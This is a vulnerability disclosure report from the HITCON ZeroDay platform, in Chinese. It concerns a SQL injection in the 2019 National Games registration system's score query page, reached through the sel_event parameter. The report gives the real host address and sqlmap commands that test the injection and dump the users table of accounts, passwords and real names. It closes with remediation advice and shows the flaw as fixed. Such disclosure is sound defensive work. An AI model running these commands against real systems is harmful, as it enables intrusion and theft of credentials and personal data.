Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00900
- Vendor: {全國運動會}
- Title: 全國運動會報名系統 SQL Injection 導致帳號密碼與個資外洩漏洞
- Introduction: score_query.php 的 sel_event 參數未過濾即帶入 SQL 查詢,導致可進行資料庫注入並取得整個後端資料庫內容。
處理狀態
目前狀態
公開
Last Update : 2026/09/03
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/07/03 09:57:47 : 新提交 (由 Bun_. 更新此狀態)
- 2026/07/07 13:43:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/23 16:37:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/23 16:37:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/26 11:11:44 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/09/02 11:52:44 : 確認已修補 (由 Bun_. 更新此狀態)
- 2026/09/03 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00900
- 通報者:Superliverbun (Bun_.)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://125.227.216.4/~www/ngames2019/score_query_adv.php
敘述
108 年全國運動會線上報名系統的成績查詢功能 score_query_adv.php,其 POST 參數 sel_event 未經過濾即帶入 SQL 查詢,存在 SQL Injection 漏洞,且當前使用者具備 root(DBA)權限。
重現方式:
攔截成績查詢的 POST 請求,存成 req100.txt,使用 sqlmap 對 sel_event 參數進行注入測試:
sqlmap -r req100.txt --batch --random-agent --is-dba --dbms=mysql --level=2 -p sel_event
確認四種注入皆成立,且 current user is DBA: True:
- Boolean-based blind
- Stacked queries(可堆疊執行多句 SQL)
- Time-based blind(MySQL SLEEP)
- UNION query(73 columns)
- 後端 DBMS:MySQL(MariaDB fork)/Linux CentOS 7/Apache 2.4.6/PHP 5.4.16
進一步 dump 出資料庫 ngames2019 的 users 表,可取得全部使用者資料(共 57 筆):
sqlmap -r req100.txt --batch --random-agent --dbms=mysql -D ngames2019 -T users --dump
該表包含使用者帳號(Username)、密碼(Password)、真實姓名(RealName)、權限等級(Priv,含 root、announce、printer、temptask 等)等敏感欄位。
修補建議
1. 所有 SQL 查詢改用參數化查詢(Prepared Statements),勿將使用者輸入直接拼接進 SQL 語句。
2. 對 sel_event、sel_date 等參數進行型別與格式驗證。
3. 移除網頁應用資料庫帳號的 root/DBA/FILE 權限,遵循最小權限原則。
4. 密碼不應以明文或弱雜湊儲存,應改用 bcrypt/Argon2 等加鹽雜湊;本次外洩之帳密應立即全面更換。
5. 全面盤點同主機其他賽事頁面是否存在相同問題。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。